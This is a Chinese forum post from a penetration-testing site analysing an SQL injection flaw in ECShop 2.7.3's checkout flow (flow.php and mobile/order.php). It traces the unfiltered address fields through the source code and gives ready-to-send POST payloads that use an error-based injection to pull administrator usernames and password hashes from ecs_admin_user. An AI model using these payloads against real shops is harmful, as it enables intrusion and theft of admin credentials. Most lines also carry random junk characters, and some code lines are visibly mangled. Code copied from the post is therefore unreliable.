中国网络渗透测试联盟

标题: ecshop全版本注入分析 [打印本页]

作者: admin    时间: 2013-1-13 09:48
标题: ecshop全版本注入分析
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
0 n6 T8 s- n) S1 _6 P! z: M# c0 m: T( S, Z
    漏洞关键文件:
/ |! c$ ~2 G' p$ H. z! C: A+ f8 ?2 c% X2 \, o
    /includes/lib_order.php
  J  G& l) I; F  R# h! C1 r7 a9 H! E6 N  L0 J8 h  f" o
    关键函数:2 G9 m: P- y* c  b* I3 g( {

% e/ J. V2 e6 e5 E1 L$ q( ~
& |6 ^6 V$ [6 j+ R8 E2 U2 C8 Z, c- L+ g. X& V
01     function available_shipping_list($region_id_list) & R- t9 u; E$ O1 a; C5 ^5 j1 U

% N) T3 p3 R! Q4 a1 V6 \5 ^02 {
8 e6 g/ q8 r' E7 Z8 W8 l. K
$ r" [  V; Z. Y, S. |( k. s03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . 2 x( y* N9 H+ O0 G5 q
# i* M0 s* c( C, J3 |
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' . " ]4 L* N1 T6 ?; a
9 E9 c: L8 @# S7 x2 a
05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
/ ]0 s% q# p& V* U0 W
% g  X. {& U% D06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
/ N3 @0 q( x' H" ^$ j) S& i7 {
+ K7 ^, V; E8 }$ \  K07                 $GLOBALS['ecs']->table('area_region') . ' AS r '. : q0 ?+ M+ J0 }! Y/ i0 W, x
. A0 l7 a+ F- E! H2 m; u$ J' [8 p" u
08             'WHERE r.region_id ' . db_create_in($region_id_list) .
+ C7 t% u  M3 a! B% W. |; N& B; X: g' N
09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
. D6 c% y, A2 w2 J
9 R2 S7 r) g6 j10   & A% o% d! Z/ {% A" L$ @) ?/ z

9 b8 F$ s1 S2 K) k; U: U11     return $GLOBALS['db']->getAll($sql);
' o. I+ e3 _. n5 t
( g) G( z) R0 D* \12 }
( |3 ]4 _$ G- w
# G9 g% o5 @# y( N- u) w显然对传入的参数没有任何过滤就带入了查询语句。: S, |* [& x& b1 [
. V! _2 S' {* T8 p: P4 P; Y0 d
下面我们追踪这个函数在flow.php中:" |* k# J8 m% z6 b
第531行:   
1 F) G) O9 n6 N& C  D- F/ G8 q8 \$ L8 G) D9 s- l
1 $shipping_list     = available_shipping_list($region);
1 _7 @, p0 t) {- a+ A) @- A+ I* j0 f8 q& o# k
1 j$ M( I: m+ h+ A& k* y* s  D/ A5 L
  N3 G  h& a+ v  P5 |* f( |( `' g& U
  E3 }8 x8 Q$ a$ m8 A; d

; u! T; g$ Y3 K/ }6 i2 x( g) e! K再对传入变量进行追踪:- t6 n% f% [/ r4 Q

: y4 |0 {# [1 V% u9 o& ]2 q第530行:   
+ V& |: L$ F& S4 c
3 P4 |2 V0 n; d$ P1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
( h+ i* k8 N& v, \3 `+ f( [' Q7 T
$ E, B* p2 \5 i* H5 C" r

) m( a$ H8 p9 |, M
; X$ O4 b  S5 U2 o$ |0 R: @# S' t' g# \5 d
第473行:        
; _- j; X' F) }0 L* n$ o. l7 d1 V1 t
1 $consignee = get_consignee($_SESSION['user_id']);
3 y* [8 o2 \8 m6 v# j: a; w) v  a: _! E* w) v
到了一个关键函数:
6 b- ?! C4 q! e. Y5 n* J9 L) G& H  `. w
/includes/lib_order.php
4 j$ ^, o% @/ H) ~: U" o9 ?
# p: z$ |2 a& Q $ f2 O" N$ t5 X' X( a, ~

- a# B- q- V; g8 u' r# y
2 N3 D/ Q! l  [+ g
# @$ w2 O% R' R% \5 c) \01 function get_consignee($user_id)
* m( s& l2 z! `5 L  y1 [! ^. `- |& K3 B- R* k- B
02 { 1 {, f/ r0 h1 d! D8 `

1 w2 W% Q6 s$ G03     if (isset($_SESSION['flow_consignee'])) $ `1 Z1 A9 z% C5 e; \% L
7 `1 O: P6 K2 W
04     { - l& W* e- z0 s  B) v; m
0 t: }& A2 O: ^1 j9 |- g/ x
05         /* 如果存在session,则直接返回session中的收货人信息 */
# [& S" b  r$ e0 ?% K) B' z; [* E
7 A7 k% F, G' }/ o06   
; s  l! f+ S1 ~% |5 E" A
' I: p6 L. ?: l3 }. P07         return $_SESSION['flow_consignee']; 0 A' E% e/ Y* {4 q
/ N* x3 B7 {7 Y  Z) m% r# \9 k
08     } - ?, I3 I2 Z+ R% j
5 ]) R" ^, d0 Z  B8 K4 o
09     else / X# j4 |9 W* {4 Y4 ?
2 W0 e5 p0 x$ h( s! X
10     { ; M# e& D7 i: I% d+ V
9 U3 T0 n4 C& S
11         /* 如果不存在,则取得用户的默认收货人信息 */ 5 z) d! d) y! X& i  t8 ]3 ?; s7 W

5 R1 _3 d' j+ i2 A1 W4 A0 p12         $arr = array(); : `3 ~  S; P6 G+ }4 a
! G, S3 w9 o! b5 \& k
13   - O) y( ?: d" Q

6 l+ `% ?: Z' w' D* }# G14         if ($user_id > 0)
9 X2 c+ O$ [. b! O: J! }* g$ v8 ?7 |2 A# ?) T% T; E, L3 w% c
15         { 9 s/ ]6 l1 D7 Z$ r6 z( t: K
- p. I) K4 r3 R
16             /* 取默认地址 */   z. L& n) G6 c8 k1 ^) ^/ V; ]
9 Z6 k' U0 g3 Y6 Q
17             $sql = "SELECT ua.*". ( g$ D7 k- T! r1 g' E; v3 ]
8 M0 p3 I' H; p1 X: T- |. N3 d
18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. 2 U3 W* I! ~$ |) H. m
: C$ k1 Y8 W; H, }
19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; 5 L. T9 X7 [1 d0 L$ \
8 B7 N1 }! O: b" W/ C7 A8 S
20   
3 O4 _9 ?# O7 A
3 j- ?) H3 j" F2 i( k- k* ?3 Y21             $arr = $GLOBALS['db']->getRow($sql); * D) {. C: ^7 f

" @5 d9 @" M9 V* \. [$ q3 n* ^22         }
2 H9 w- b4 Y! ^6 _: A5 I  i! H$ D3 G/ g% w* ?
23   4 u' J* I$ y" p9 ]+ K( B" R

# Q( C) X- r- p3 l24         return $arr;
; q( }% R  ~- n, `! Q
0 p$ j& q% K. w2 a25     }
0 p+ ~; S* M2 `3 w
3 L+ n; F# b1 }3 A' ]26 }
- _& }- L0 r7 `$ [* S
1 F; d+ G/ M# u! Q8 x, @. A) z9 ?0 f8 E# B显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
* S; e$ h  Q+ W' ]& {& r  |/ d/ C/ U+ k2 f# i( |

% u. o! {6 a5 V/ e* }* p9 e5 M) j) F" |  l$ \$ {
关键点:* T; N7 r7 s5 _
( U, n: w/ s( l+ t( k; x: S
第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);- E; ^( \1 |- i5 |# T, `! S
. [8 d: N* k9 }2 O8 Z& z$ `  H
这里对传入参数反转义存入$_SESSION中。
1 v- D( ]0 R. f+ `0 V/ ]# r% D* r& u6 S- Y
2 |, ~" s$ e7 q1 o1 v9 r- q' w% y! m
: R8 `( ?& U' m3 d% t
然后看下:( h0 V& M( j$ ~& K' h9 j4 m* c2 [6 m7 f
0 B$ `3 B7 G# h  ?  L  \+ o6 \$ D: y
: P3 F! n# Z1 @! a* W

  A) p1 B) I9 @2 N! b    " V' z$ [* F% M8 o. u" W
8 j8 o( s2 g; u( w
01 $consignee = array( ! T$ P0 T5 Q$ [
& E5 y0 C- @5 t2 h+ P$ y
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']), 8 F- X/ H0 j- A9 C1 o
/ W1 a  v& E& F& x
03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']), 0 ^4 Y! u! m" O2 J, u  h
" }7 E/ }! Q/ }* F
04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
, i) v8 U9 [# q3 G, I( O) T; g- F9 K( ?" n3 \$ O
05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
$ G& Y5 ?6 F& ?: s, e* G5 a3 k" E) {1 I, K  a+ ~6 A
06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
+ B$ j  U; f7 V4 n: P& {
: x+ T3 c) ~& Z  A07         'district'      => empty($_POST['district'])   ? '' _POST['district'], , o/ c# v) Y& z3 s5 {6 {/ U
! D! A% o/ f" h
08         'email'         => empty($_POST['email'])      ? '' _POST['email'], & j% M; k. a& s" D! G
% o* r7 _' j( x% n5 d$ |# p
09         'address'       => empty($_POST['address'])    ? '' _POST['address'],
2 G& R+ k! ~$ }: a6 v- T% B$ o+ Q6 f* c6 U7 E: p2 ?. b  R! s7 g4 g
10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
# j4 q- u$ c. V: Q. u
7 n! @. H! O( z11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])), # n/ H: o& n' @- ]

5 N7 ]( g' Y& U! S9 i" u$ m, Z4 q  p12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])), 5 u; f& \( G; s4 _: c& P

: }: i, J2 o3 B5 ~% t5 W13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], ! W1 Q  W6 x) S  m

0 M- y/ v1 w6 V& W14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'], 3 R8 V/ {, H6 s0 ]" u& p

* u. [1 h/ \  c3 \7 H15     ); % c3 s3 \1 u' [% d

' X& O4 I/ M& \* V' m好了注入就这样出现了。$ H; S) m/ O7 G1 F9 V, F
  W  |+ |5 `- V- K
==================
4 p) ]* K' B: T5 O) U, s# O. d
% o6 e. x  t! C, m& U2 o注入测试:% i5 M' M% ]* N8 ^( [1 e. l8 c

  |- e+ t2 ]9 [# \1 E3 _环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)8 q8 y( N0 p9 z4 D3 T/ `

3 b" E! E/ I2 m' l8 N& m测试程序:ECShop_V2.7.3_UTF8_release1106
6 L: g4 n' T, p# t% v2 z: u* B. o
( s1 i3 O5 m: x* |& _0 d - o4 X& g7 n7 @0 j

/ q+ ?0 N' g! f3 `! @1.首先需要点击一个商品加入购物车
0 D' l+ h) c- b
+ q! c* s8 _3 h2.注册一个会员帐号# _5 n: s- I5 Y' q* X+ ]  R  t) h
9 E+ D7 L) U" T0 D8 m4 B
3.post提交数据
/ ~+ v0 d# y# @: B
; J4 p+ x, a! k
% L3 w8 L- l( {8 v$ S3 `; m  E$ M* L
; v2 |4 ~( f+ u9 Y9 k5 ]1 http://127.0.0.1/ecshop/flow.php " V# R0 @7 x4 \6 h

  g, ?" [8 j7 b" w" v8 g7 i$ k2   
) \- m) J7 A0 u- \  W; I  M0 T( w1 d  Y2 _4 ?5 c; J
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= 3 f; C. p9 Y1 c- M2 f; N9 n
举一反三,我们根据这个漏洞我们可以继续深入挖掘:
7 H' N8 t% J( o
& {4 a( a6 B! y* ?5 E# J8 ?+ ?4 O我们搜寻关键函数function available_shipping_list()
& I) N& M) x, o/ m" e& T' h7 l: Q5 m9 J& ~# r- k: A. k9 f
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同! ^0 r0 _7 i* k8 Z* ?# s+ H/ K1 v' P. {* r

7 z5 W( M  k5 A利用exp:
! B1 M/ q( ]  X7 C- I: ~
$ f4 k- b) e9 @2 U# X. O1 P1.点击一个商品,点击购买商标8 a9 D  K: O, |: L# e9 ^
$ \9 B: e: V6 f0 v( U/ @4 a. F
2.登录会员帐号
/ I3 B" s2 y8 Z4 t0 L' F: b) o) ]3 _. B& h9 H# r
3.post提交:
; [$ }. b! \- q* C0 V5 p" O3 y: }  C1 R6 k7 p
http://127.0.0.1/ecshop/mobile/order.php4 M' H( A' b1 }# K; {5 O3 j  M
5 w! X# R0 y; F0 ?# S; N- d1 j
. t8 V: U4 C! j1 \: o0 }. _% z
, j0 R/ B5 M0 r- P- ]) g
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=3 J4 h9 x7 d  d. k" u5 V9 P
) l7 l" J8 x- [$ ~. C4 }+ d





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2